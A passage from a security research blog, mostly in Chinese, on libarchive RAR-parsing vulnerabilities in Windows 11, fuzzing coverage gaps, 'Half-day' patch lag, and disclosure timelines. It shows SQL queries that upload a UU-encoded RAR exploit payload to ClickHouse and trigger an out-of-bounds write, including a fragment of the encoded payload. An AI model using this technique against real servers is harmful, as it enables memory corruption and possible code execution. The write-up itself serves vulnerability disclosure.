href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20696">CVE-2024-20696</a> 與 <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20697">CVE-2024-20697</a> 兩個 RCE 漏洞。</p> <h4 id="cve-2024-20696-oob-write-in-copy_from_lzss_window_to_unp">CVE-2024-20696: OOB Write In <code class="language-plaintext highlighter-rouge">copy_from_lzss_window_to_unp</code></h4> <p>CVE-2024-20696 發生在 libarchive 解壓縮 RAR 格式的檔案時候。在解壓縮的過程中 <code class="language-plaintext highlighter-rouge">copy_from_lzss_window_to_unp</code> 的第四個參數 <code class="language-plaintext highlighter-rouge">length</code> 是根據 lzss 解壓縮後的狀態計算出的 copy length。由於 <code class="language-plaintext highlighter-rouge">copy_from_lzss_window_to_unp</code> 在這裡錯誤地將 <code class="language-plaintext highlighter-rouge">length</code> 定義為 int,導致攻擊者可以透過構造 lzss 將 <code class="language-plaintext highlighter-rouge">length</code> 變為負數,從而繞過檢查造成越界寫的漏洞。</p> <p><img src="/assets/img/blog/20250212/39.png" alt="" /></p> <h4 id="cve-2024-20697-oob-write-in-execute_filter_e8">CVE-2024-20697: OOB Write In <code class="language-plaintext highlighter-rouge">execute_filter_e8</code></h4> <p>CVE-2024-20697 也發生在 libarchive 解壓縮 RAR 格式的檔案時候。如果 RAR 檔案有使用到 <code class="language-plaintext highlighter-rouge">filter e8</code> 時(RAR 檔案格式的 filter,與 libarchive 的 filter 無關),解壓縮便會觸發 libarchive 的 <code class="language-plaintext highlighter-rouge">execute_filter_e8</code>。 <code class="language-plaintext highlighter-rouge">execute_filter_e8</code> 在檢查 <code class="language-plaintext highlighter-rouge">length</code> 時雖然是檢查 <code class="language-plaintext highlighter-rouge">length</code> 必須大於等於 4,但是在迴圈計算卻使用了 <code class="language-plaintext highlighter-rouge">length - 5</code>,所以當 <code class="language-plaintext highlighter-rouge">legnth</code> 為 4 時,迴圈便會執行 0x100000000 次,導致越界寫。</p> <p><img src="/assets/img/blog/20250212/40.png" alt="" /></p> <h4 id="fuzzing-why-oss-fuzz-never-found-hese">Fuzzing: Why OSS-Fuzz Never Found hese?</h4> <p><img src="/assets/img/blog/20250212/41.png" alt="" /></p> <p>在復現這兩個 CVE 時,由於需要構造 RAR,製作起來較耗費時間,例如在 CVE-2024-20696 中需要構造 lzss 使得 <code class="language-plaintext highlighter-rouge">length</code> 的計算結果為負數,而在 CVE-2024-20697 中我們需要放入 filter e8,在構造上較為麻煩。因此我們透過 AFL++ ,將合法的 RAR 以及有使用 filter e8 的 RAR 作為 seed 進行 Fuzzing。意外的是,僅在 56 秒之內我們就找到了一個 CVE-2024-20697 的 crash: <img src="/assets/img/blog/20250212/42.png" alt="" /></p> <p>很快就能找到 crash 當然是好事,但這裡有一個大問題:OSS-Fuzz 至少從 2016 年開始就 24 小時全年無休的對 libarchive 進行 Fuzzing,56 秒就能夠找到 crash 的漏洞怎麼可能還沒有被發現呢? <img src="/assets/img/blog/20250212/43.png" alt="" /></p> <p>從 OSS-Fuzz 對 libarchive 的總結可以看到,六月時,OSS-Fuzz 對 libarchive 進行的 Fuzzing 的覆蓋率僅有 15.03%:</p> <p><img src="/assets/img/blog/20250212/44.png" alt="" /></p> <p>而且看起來已經持續了很長一段時間: <img src="/assets/img/blog/20250212/45.png" alt="" /></p> <p>從檔案來看,可以發現有些 format 基本上沒有被測試過,例如 RAR 的覆蓋率僅有 4.07% <img src="/assets/img/blog/20250212/46.png" alt="" /></p> <h4 id="謎底揭曉">謎底揭曉</h4> <p>在我們準備演講的同時,libarchive 的 GitHub 上有個關於 OSS-Fuzz 的 commit。他是這麼說的: libarchive 在提交給 OSS-Fuzz 執行的設定中,呼叫 CMake 時雖然有啟用 <code class="language-plaintext highlighter-rouge">DONT_FAIL_ON_CRC_ERROR</code>,但卻從來都沒有在 CMake 中好好定義這個 option! <img src="/assets/img/blog/20250212/47.png" alt="" /></p> <p>本來,<code class="language-plaintext highlighter-rouge">DONT_FAIL_ON_CRC_ERROR</code> 這個 flag 會讓 libarchive 在 CRC 不符的情況下也繼續處理該檔案。而我們都知道 Fuzzer 一直都不擅於構造出正確的 checksum。也就是說 OSS-Fuzz 覆蓋率長期低下的原因是因為 Fuzzer 無法產生出合法的 CRC 來通過檢查,導致 Fuzzer 永遠卡在 libarchive 檢查 CRC 的邏輯之中。</p> <p>修正之後可以看到 OSS-Fuzz 對 libarchive 的覆蓋率有飛躍性的提升,從 15.03% 提升到 63.10%。</p> <p><img src="/assets/img/blog/20250212/48.png" alt="" /></p> <p>從個別檔案的覆蓋率來看也可以發現大部分的檔案格式覆蓋率大幅提升: <img src="/assets/img/blog/20250212/49.png" alt="" /></p> <h4 id="keep-fuzzing">Keep Fuzzing</h4> <p><img src="/assets/img/blog/20250212/50.png" alt="" /></p> <p>在進行 code review 的同時我們讓 AFL++ 繼續為我們勞動,除了我們接下來即將提到的 RCE 漏洞之外,我們還透過 Fuzzing 找到了 CVE-2024-48957、CVE-2024-48958 兩個越界讀漏洞。</p> <p><img src="/assets/img/blog/20250212/51.png" alt="" /></p> <h3 id="cve-2024-26256-libarchive-remote-code-execution-vulnerability">CVE-2024-26256: Libarchive Remote Code Execution Vulnerability</h3> <p>在分析了微軟自行回報的 CVE-2024-20696 以及 CVE-2024-20697 之後,我們可以發現這兩個漏洞皆出現在解析 RAR 的 <code class="language-plaintext highlighter-rouge">archive_read_support_format_rar.c</code> 中,而且都是近三年加入的 feature。</p> <p><img src="/assets/img/blog/20250212/52.png" alt="" /></p> <p>所以我們決定從 RAR 開始進行檢查,看看是否還能發現其他漏洞。而我們第一個想知道的是,CVE-2024-20697 成因中的「<code class="language-plaintext highlighter-rouge">filter_e8</code>」是什麼? Commit message 的「support rar filters」的「filters」是什麼?</p> <h4 id="rar-中的-vm">RAR 中的 VM</h4> <p>要知道 <code class="language-plaintext highlighter-rouge">filter_e8</code> 是什麼,我們首先得先知道:其實 RAR 中有一個 VM!RAR 實際上包含了一個 register-based VM,這個 VM 可以執行自訂的小程式來增加 RAR 的壓縮比。具體方式就是在建立 RAR 檔案時,可以在裡面放入客製的「filter」小程式,所以 <code class="language-plaintext highlighter-rouge">filter_e8</code> 實際上就是這麼一個程式,他是專門為了 Intel 的 binary 所產生的一個增加壓縮比的程式,而名稱中的 <code class="language-plaintext highlighter-rouge">e8</code> 源自於 Intel 指令集中 near call 的 opcode:</p> <p><img src="/assets/img/blog/20250212/53.png" alt="" /></p> <p>但是 call instruction 與改善壓縮比之間的關係是什麼?以下面的程式為例,假設在程式中,有兩個位置呼叫了 <code class="language-plaintext highlighter-rouge">funcA</code>,程式會產生兩個 call 指令,在這裏分別是位置 <code class="language-plaintext highlighter-rouge">0</code> 與位置 <code class="language-plaintext highlighter-rouge">0x10</code>。在 Intel 的機器語言中,我們可以看到 near call 是以 <code class="language-plaintext highlighter-rouge">0xe8</code> 開頭,後面跟著四個 bytes,也就是手冊中說的 <code class="language-plaintext highlighter-rouge">rel32</code>。<code class="language-plaintext highlighter-rouge">rel32</code> 即是呼叫的目標與下一條指令的相對位置,以第一條 call 指令來看,<code class="language-plaintext highlighter-rouge">rel32</code> 是 <code class="language-plaintext highlighter-rouge">0x1b</code>,即是呼叫的目標(0x20),減去下一條指令(0+5)所得出的相對位置 <code class="language-plaintext highlighter-rouge">0x1b</code>:</p> <p><img src="/assets/img/blog/20250212/54.png" alt="" /></p> <p>這兩條指令雖然皆是呼叫 funcA,但由於內容不同,在進行壓縮時表現就較差。那既然 <code class="language-plaintext highlighter-rouge">rel32</code> 是可以簡單計算來的,那只要先把 <code class="language-plaintext highlighter-rouge">rel32</code> 的位置都先替換成目標的位置,機器語言會就長得一樣,壓縮比就能夠進一步上升!</p> <p><img src="/assets/img/blog/20250212/55.png" alt="" /></p> <p>在解壓縮時,只要將把被替代掉的 <code class="language-plaintext highlighter-rouge">rel32</code> 透過計算還原回來就好了,這一步便是使用 <code class="language-plaintext highlighter-rouge">e8 filter</code> 將之復原。</p> <p><img src="/assets/img/blog/20250212/56.png" alt="" /></p> <p>而 libarchive 的實作為了簡化,並沒有實作整個 VM,而是單純將 filter 程式的內容進行 crc32 運算,並將結果作為 fingerprint,直接執行對應的 filter,參考 <a href="https://github.com/libarchive/libarchive/blob/42565b88b5cc7441239269902a9d1735fd9ca0e2/libarchive/archive_read_support_format_rar.c#L3826">libarchive</a>:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">execute_filter</span><span class="p">(</span><span class="k">struct</span> <span class="nc">archive_read</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">rar_filter</span> <span class="o">*</span><span class="n">filter</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">rar_virtual_machine</span> <span class="o">*</span><span class="n">vm</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">pos</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x1D0E06077D</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_delta</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x35AD576887</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_e8</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">,</span> <span class="n">pos</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x393CD7E57E</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_e8</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">,</span> <span class="n">pos</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x951C2C5DC8</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_rgb</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0xD8BC85E701</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_audio</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="n">archive_set_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">a</span><span class="o">-&gt;</span><span class="n">archive</span><span class="p">,</span> <span class="n">ARCHIVE_ERRNO_FILE_FORMAT</span><span class="p">,</span> <span class="s">"No support for RAR VM program filter"</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>在 RAR v5 之後,filter 在 RAR 中變成了 enum 類型,只能選用預先定義好的 filter,可以參考 <a href="https://www.rarlab.com/rar_add.htm">UnRAR source</a>:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">enum</span> <span class="n">FilterType</span> <span class="p">{</span> <span class="c1">// These values must not be changed, because we use them directly</span> <span class="c1">// in RAR5 compression and decompression code.</span> <span class="n">FILTER_DELTA</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">FILTER_E8</span><span class="p">,</span> <span class="n">FILTER_E8E9</span><span class="p">,</span> <span class="n">FILTER_ARM</span><span class="p">,</span> <span class="n">FILTER_AUDIO</span><span class="p">,</span> <span class="n">FILTER_RGB</span><span class="p">,</span> <span class="n">FILTER_ITANIUM</span><span class="p">,</span> <span class="n">FILTER_TEXT</span><span class="p">,</span> <span class="c1">// These values can be changed.</span> <span class="n">FILTER_LONGRANGE</span><span class="p">,</span><span class="n">FILTER_EXHAUSTIVE</span><span class="p">,</span><span class="n">FILTER_NONE</span> <span class="p">};</span> </code></pre></div></div> <h4 id="code-review">Code Review</h4> <p>filter 的行為看起來很有趣,而微軟所發現的漏洞也位於 filter 之內,所以我們嘗試對 <code class="language-plaintext highlighter-rouge">archive_read_support_format_rar.c</code> 進行 code reveiw。</p> <p>經過一段時間我們也在<code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code> 找到了一個 heap buffer overflow 的漏洞,<code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code> 的參數 <code class="language-plaintext highlighter-rouge">length</code> 沒有任何檢查就直接使用於 <code class="language-plaintext highlighter-rouge">memcpy</code>,而 buffer 的大小僅為 0x40004 bytes: <img src="/assets/img/blog/20250212/57.png" alt="" /></p> <p>從呼叫 <code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code> 的地方來看,可以發現這是用來將資料複製進 VM 記憶體的函式: <img src="/assets/img/blog/20250212/58.png" alt="" /></p> <p>漏洞成因看起來非常簡單,但較麻煩的是需要構造 libarchive 願意執行的 filter,並提供正確長度的資料。這些資訊並不直接存在於 RAR 中最表層的欄位,而是存在於 data 之中。並且,data 經過 Huffman coding 編碼,因此後面所提供的資訊也必須先進行一次編碼,而且不是 byte by byte 而是 7-bit by 7-bit。由於這部分不是本文的重點,我們不在這裡展開來講,我們鼓勵讀者進行復現。</p> <p><img src="/assets/img/blog/20250212/59.png" alt="" /></p> <p>這個漏洞已經被微軟修復:<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26256">CVE-2024-26256</a>。而這個漏洞沒有被 Fuzzer 發現的原因也很簡單,雖然 <code class="language-plaintext highlighter-rouge">filter-&gt;blocklength</code> 只要夠大就能夠觸發越界寫,但需要提供與 <code class="language-plaintext highlighter-rouge">filter-&gt;blocklength</code> 一樣長的 data 才能通過檢查,而在 coverage 相同的情況下,Fuzzer 通常傾向於將檔案縮小。</p> <h3 id="half-day長得像-0-day-的-1-day">Half-day:長得像 0-day 的 1-day</h3> <p>當我們稍早提到「微軟研究團隊 Microsoft Offensive Research Security Engineering (MORSE) team 回報的兩個漏洞」時。我們提到在構造 PoC 上較困難,或許有人馬上就想到了:「為什麼不去 libarchive 的 GitHub repository 找 test 或是說明呢?」對,我們找過了,沒有。</p> <p>因為當時的 libarchive 甚至還沒有被 patch,或是說,可能甚至沒有人知道漏洞已經存在!微軟在一月時,就已經修復 Windows fork 出去的 libarchive: <img src="/assets/img/blog/20250212/60.png" alt="" /></p> <p>在研究結束之後,我們才在 libarchive 的 GitHub repository 上看到對應的兩個 patch ,分別是五月跟四月才被 merge 進去: <img src="/assets/img/blog/20250212/61.png" alt="" /></p> <p>那豈不是只要長期有關注 Windows patch 的人馬上就會發現 libarchive upstream 存在兩個尚未修補的漏洞嗎?它們對於 Windows forked 版本的 libarchive 來說是 1-day,因為漏洞已被發現並且修補了;對 libarchive upstream 來說是 0-day,因為尚未有修補存在且維護者甚至可能不知情!我們接下來會將這種情況稱為「0.5-day」或是「Half-day」。</p> <p>於是我們開始尋找有使用 libarchive 的大型專案,我們想嘗試模擬這個「利用 Half-day 攻擊」的場景,同時也認為,在軟體中採用 libarchive 的廠商會更願意幫我們敦促 libarchive 修補漏洞。</p> <h3 id="attacking-clickhouse">Attacking ClickHouse</h3> <p>經過一番調查後,我們發現 ClickHouse 有使用 libarchive 進行解壓縮,非常有可能包含了存在漏洞的程式碼。在 ClickHouse 中我們可以透過 file table engine 對壓縮檔內的資料進行操作: <img src="/assets/img/blog/20250212/62.png" alt="" /></p> <p>不過手冊也提到,ClickHouse 僅支援 zip、tar、7z 三種格式的壓縮檔案: <img src="/assets/img/blog/20250212/63.png" alt="" /></p> <p>但真的是這樣嗎?除了 zip 之外,tar 與 7z 在 ClickHouse 中由 <code class="language-plaintext highlighter-rouge">TarArchiveReader</code> 與 <code class="language-plaintext highlighter-rouge">SevenZipArchiveReader</code> 實作,兩者皆繼承於 <code class="language-plaintext highlighter-rouge">LibArchiveReader</code>。<code class="language-plaintext highlighter-rouge">LibArchiveReader</code> 開啟檔案的行為實作於 <code class="language-plaintext highlighter-rouge">open</code> 函式,在 <a href="https://github.com/ClickHouse/ClickHouse/blob/0bd3016a17dab23e64a7e550b2754ce7f7aa1d82/src/IO/Archives/LibArchiveReader.cpp#L150">source code</a> 中可看到熟悉的 pattern:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">static</span> <span class="k">struct</span> <span class="nc">archive</span> <span class="o">*</span> <span class="nf">open</span><span class="p">(</span><span class="k">const</span> <span class="n">String</span> <span class="o">&amp;</span> <span class="n">path_to_archive</span><span class="p">)</span> <span class="p">{</span> <span class="k">auto</span> <span class="o">*</span> <span class="n">archive</span> <span class="o">=</span> <span class="n">archive_read_new</span><span class="p">();</span> <span class="k">try</span> <span class="p">{</span> <span class="n">archive_read_support_filter_all</span><span class="p">(</span><span class="n">archive</span><span class="p">);</span> <span class="n">archive_read_support_format_all</span><span class="p">(</span><span class="n">archive</span><span class="p">);</span> </code></pre></div></div> <p>沒錯,ClickHouse 也是使用 <code class="language-plaintext highlighter-rouge">archive_read_support_format_all</code> 與 <code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code>,表示我們一樣可以觸發存在於 RAR 中的弱點!接下來只要讓 ClickHouse 為我們解壓縮檔案即可,雖然現在解壓縮的 feature 可以直接存取 s3 上的檔案,但<strong>當時並不能這樣使用</strong>: <img src="/assets/img/blog/20250212/64.png" alt="" /></p> <p>所以我們必須先上傳檔案,可以透過下列 query 新增一個 table,並且該 table 會以檔案的形式被儲存:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'poc.7z'</span><span class="p">,</span> <span class="s1">'Native'</span> <span class="p">,</span><span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'payload'</span><span class="p">)</span> </code></pre></div></div> <p>但這樣產生的 file 會包含 table 的 metadata,在有 metadata 的情況下我們沒有辦法使 libarchive 認為這是一個 RAR 檔案,進而觸發漏洞:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: 0101 0763 6f6c 756d 6e31 0653 7472 696e ...column1.Strin 00000010: 6707 7061 796c 6f61 64 g.payload </code></pre></div></div> <p>我們需要在 ClickHouse 的 <a href="https://clickhouse.com/docs/en/interfaces/formats">Output Data Formats</a> 中尋找哪些格式不會在檔案的開頭存放置 metadata。最後我們決定使用 <code class="language-plaintext highlighter-rouge">TabSeparatedRaw</code>,在 <code class="language-plaintext highlighter-rouge">TabSeparatedRaw</code> 中:</p> <ol> <li>資料被一列一列儲存</li> <li>一列中的資料被 tab 分隔開</li> <li>資料內不能有 tab 或換行</li> </ol> <p>例如,如果使用下列兩個 qeury:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'test.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'row1 string'</span><span class="p">)</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'test.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'row2 string'</span><span class="p">)</span> </code></pre></div></div> <p>最後產出的檔案內容會是:</p> <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>row1 string row2 string </code></pre></div></div> <p>因此,若可以處理好第三點「資料內不能有 tab 或換行」,那我們就可以構造出一個合法的 RAR 檔案!那該怎麼樣避免使用 tab 或換行呢?聽起來很難,但不要忘了,ClickHouse 呼叫了 <code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code> 為我們開啟了所有的 filter!其中,最符合 <code class="language-plaintext highlighter-rouge">TabSeperatedRaw</code> 描述的就是 UUencode,經過 UUencode 的資料會長這樣:</p> <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>begin 600 exploit.rar.uu M4F%R(1H'`,^0&lt;P``#0````````!287(A&amp;@&lt;`SY!S```-`````````%VI=("0 M,0"VXP0`4,\+``(2'^X4O1EY5QTU#``@````;7-V8W(Q,#`N9&amp;QL`/#&lt;ZFP8 M(AE0S(EB'!(",EM(4I0M-"H*"T6JBHJ!1$1T%IKHFBA0H*:(VV2VP)98R9+* M"*`T'I;&amp;]1&gt;J]&gt;HZ!&gt;KU4=(ZQTC:4VHB@J4WH2D-%--VSX9S);9IOO.9HF2E MH47O?/GG[Y^6LSGO/&gt;&gt;Z&gt;&gt;\]YJS!N3_(^_P3SS"O\S`P+6&lt;_V'P(,#`P,#`B M.EX#-(,!V$Z07A+LVZ?4@K:RB=`NN&lt;+9(IB&lt;?NX``Y[L`3`P,#``,`'/YCL* </code></pre></div></div> <p>因此最後我們只需要將原本的 rar payload 進行 UUEncode 之後上傳:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">TABLE</span> <span class="k">FUNCTION</span> <span class="n">file</span><span class="p">(</span><span class="s1">'poc.7z'</span><span class="p">,</span> <span class="s1">'TabSeparatedRaw'</span><span class="p">,</span> <span class="s1">'column1 String'</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="n">uu_encoded_rar_payload</span><span class="p">)</span> </code></pre></div></div> <p>並且觸發解壓縮:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT * FROM file('poc.7z :: **', RawBLOB) </code></pre></div></div> <p>就可以成功觸發越界寫漏洞了: <img src="/assets/img/blog/20250212/65.png" alt="" /></p> <p>我們最後透過 ClickHouse 在 Bugcrowd 上的賞金計劃進行回報: <img src="/assets/img/blog/20250212/66.png" alt="" /></p> <p>ClickHouse 很快的就進行了<a href="https://github.com/ClickHouse/ClickHouse/commit/c8a3a0bb11ad1344fbb50b10f50f8eb2a962aa7f">修復</a>,並且願意幫我們敦促 libarchive 進行漏洞的修補!雖然不確定微軟是否有告知 libarchive 的維護者們任何關於 CVE-2024-20696 與 CVE-2024-20697 的漏洞資訊(因為沒有任何公開資料,libarchive 在 GitHub repository 上的 <a href="https://github.com/libarchive/libarchive/security/advisories?state=draft">Security Advisories</a> 也沒有任何資料可以參考!)。但如同我們先前提到的,這兩個原先由微軟在 forked 版本的 libarchive 中發現的漏洞,最終 libarchive 也分別在五月跟四月獲得修復,結束了「Half-day」的尷尬狀況。</p> <h3 id="持續追蹤">持續追蹤</h3> <p>除了回報上述兩個「Half-day」之外,別忘了我們還有另外回報三個 0-day 漏洞,它們個別是:</p> <ol> <li>微軟已經修復的 RCE:CVE-2024-26256 <ul> <li>4/27 回報</li> <li>8/14 修補</li> <li>9/28 關閉</li> </ul> </li> <li>filter_audio 中的 oob read <ul> <li>3/20 回報</li> <li>4/29 修補</li> <li>9/28 關閉</li> </ul> </li> <li>filter_delta 中的 oob read <ul> <li>3/20 回報</li> <li>4/29 修補</li> <li>9/28 關閉</li> </ul> </li> </ol> <p>在回報後的數個月,他們終於獲得修復,這時已經是九月: <img src="/assets/img/blog/20250212/67.png" alt="" /></p> <h4 id="half-day-的迴環複沓">Half-day 的迴環複沓</h4> <p>其中較嚴重的是我們已經回報給微軟的漏洞 CVE-2024-26256,微軟在四月時便已經修復: <img src="/assets/img/blog/20250212/68.png" alt="" /></p> <p>在三月回報漏洞的同時,我們有詢問 MSRC 是否會將 CVE-2024-26256 的 patch 提交到 libarchive 的 GitHub repository,第一時間沒有獲得回應。在微軟 patch CVE-2024-26256 之後我們又提問了一次,想確定他們是否有將該漏洞的資訊同步給 libarchive 的 maintainers,MSRC 說:「如果你願意的話,我們鼓勵你開一個獨立的 GitHub issue。」為了避免「Half-day」情況發生,所以我們也在收到訊息後馬上到 libarchive 的 Security Advisory 開了一個 issue: <img src="/assets/img/blog/20250212/69.png" alt="" /></p> <p>然而,「Half-day」還是發生了,因為太久沒有人回應。所以七月時,<a href="https://github.com/libarchive/libarchive/pull/2269">我們自己發了一個 PR </a>將微軟的 patch 移植過來,雖然不確定這個修補方式是不是最好的,但至少比沒有修補還要強。所以,歷史又重演了一次,從四月到修補完成的九月之間,我們又陷入了「Half-day」的情境。</p> <h4 id="餘下的兩個-0-day">餘下的兩個 0-day</h4> <p>眼尖的讀者或許已經注意到,我們所回報的 Security Advisory 並不是在「Published」的分頁中,而是「Closed」: <img src="/assets/img/blog/20250212/70.png" alt="" /></p> <p>除了剛才提到的 CVE-2024-26256 之外,其餘是兩個尚未申請 CVE 的越界讀取漏洞。針對已經有 CVE 編號的修補,人們會意識到這是一個關於安全性的修補。然而,由於其他兩個漏洞並不為人所知,僅修補卻不通知其他人安全風險的存在是一件危險的事情。尤其,libarchive 是一個廣泛使用的函式庫,有許許多多的軟體或服務使用它,導致人們並不知道自己正在使用 libarchive。這類軟體的相依鏈可能十分龐大且複雜,如果開發者或是終端使用者沒有意識到這是一個安全性的更新,那麼,該修補在整個相依鏈中將會極為緩慢地傳播,進而增加潛在風險。</p> <p>所以,在確認 libarchive 將 issue 關閉之後我們就立即申請了 CVE 編號,這兩個漏洞分別是 <a href="https://github.com/advisories/GHSA-rmj4-vvpv-4m33">CVE-2024-48957</a> 與 <a href="https://github.com/advisories/GHSA-9mw4-2ppr-4mcg">CVE-2024-48958</a>,當它們被發佈時,已經是十月,距離修補發布的四月已經過去了六個月。</p> <h2 id="結語">結語</h2> <p>本文介紹了 Windows 在採用 libarchive 以支援更多壓縮檔案格式時,所引發的一些漏洞與有趣的特性。此外,我們也向 libarchive 回報了數個 0-day 漏洞。</p> <p>接著,我們在 ClickHouse 上成功利用了我們認為介於 0-day 與 1-day 之間的「Half-day」漏洞。這源於 Windows 將 libarchive fork 出來後,將其編譯為閉源的 archiveint.dll,並在修補該 DLL 後,未能及時通知 libarchive 的維護者,或將修補程式回饋到 libarchive 上游,從而導致了「Half-day」漏洞的產生。</p> <p>upstream 較晚獲得修補的原因,除了溝通延遲之外,也因缺乏公開可用的修補程式。維護者在 fork 版本已經完成修補後,才在接獲通報時開始著手解決問題。因此,微軟在修補 fork 版本的 libarchive 後,除了應主動通知原始維護者,更應直接提交 Pull Request (PR) 至上游,以協助完成修補。</p> <p>libarchive 的維護者是一群志願者,而且可能沒有領取任何薪水。而開源精神便是人人皆可「分享、參與、行動」,因此我們認為,研究人員在漏洞回報的過程中,除了提供漏洞分析與 PoC 外,也應該積極的提出修補方案,共同維護開源軟體的安全性與品質。</p> https://devco.re/blog/2025/02/12/from-convenience-to-contagion-the-half-day-threat-and-libarchive-vulnerabilities-lurking-in-windows-11/ https://devco.re/blog/2025/02/12/from-convenience-to-contagion-the-half-day-threat-and-libarchive-vulnerabilities-lurking-in-windows-11 Wed, 12 Feb 2025 00:00:00 +0800 From Convenience to Contagion: The Half-Day Threat and Libarchive Vulnerabilities Lurking in Windows 11 <h2 id="abstract">Abstract</h2> <p>In the October 2023 update, Windows 11 introduced support for 11 additional compression formats, including RAR and 7z, allowing users to manage these types of files natively within File Explorer. The enhancement significantly improves convenience; however, it also introduces potential security risks. To support these various compression formats, Windows 11 utilizes the libarchive library, a well-established open-source library used across multiple operating systems like Linux, BSD, and macOS, and in major projects such as ClickHouse, Homebrew, and Osquery.</p> <p>The libarchive has been continuously fuzzed by Google’s OSS-Fuzz project, making it a time-tested library. However, its coverage in OSS-Fuzz has been less than ideal. In addition to the two remote code execution (RCE) vulnerabilities disclosed by Microsoft Offensive Research &amp; Security Engineering (MORSE) in January, we have identified several vulnerabilities in libarchive through code review and fuzzing. These include a heap buffer overflow vulnerability in the RAR decompression and arbitrary file write and delete vulnerabilities due to insufficient checks of libarchive’s output on Windows. Additionally, in our presentation, we will reveal several interesting features that emerged from the integration of libarchive with Windows.</p> <p>And whenever vulnerabilities are discovered in widely-used libraries like libarchive, their risks often permeate every corner, making it difficult to estimate the potential hazards. Moreover, when Microsoft patches Windows, the corresponding fixes are not immediately merged into libarchive. This delay gives attackers the opportunity to exploit other projects using libarchive. For example, the vulnerabilities patched by Microsoft in January were not merged into libarchive until May, leaving countless applications exposed to risk for four months. The worst part is that the developers might not know the vulnerability details or even be aware of its existence. To illustrate this situation, we will use the vulnerabilities we reported to ClickHouse as an example to demonstrate how attackers can exploit the vulnerabilities while libarchive remains unpatched.</p> <h2 id="introduction">Introduction</h2> <p>Before the KB5031455 update, Windows 11 only supported ZIP archives natively. In File Explorer, ZIP files are labeled “Compressed (zipped) Folder.” Users can double-click a ZIP file to view its contents:</p> <p><img src="/assets/img/blog/20250212/1.png" alt="" /></p> <p>Or, even better, add new files to the archive or open existing ones directly: <img src="/assets/img/blog/20250212/2.png" alt="" /></p> <p>When a user double-clicks a file inside a ZIP archive, File Explorer 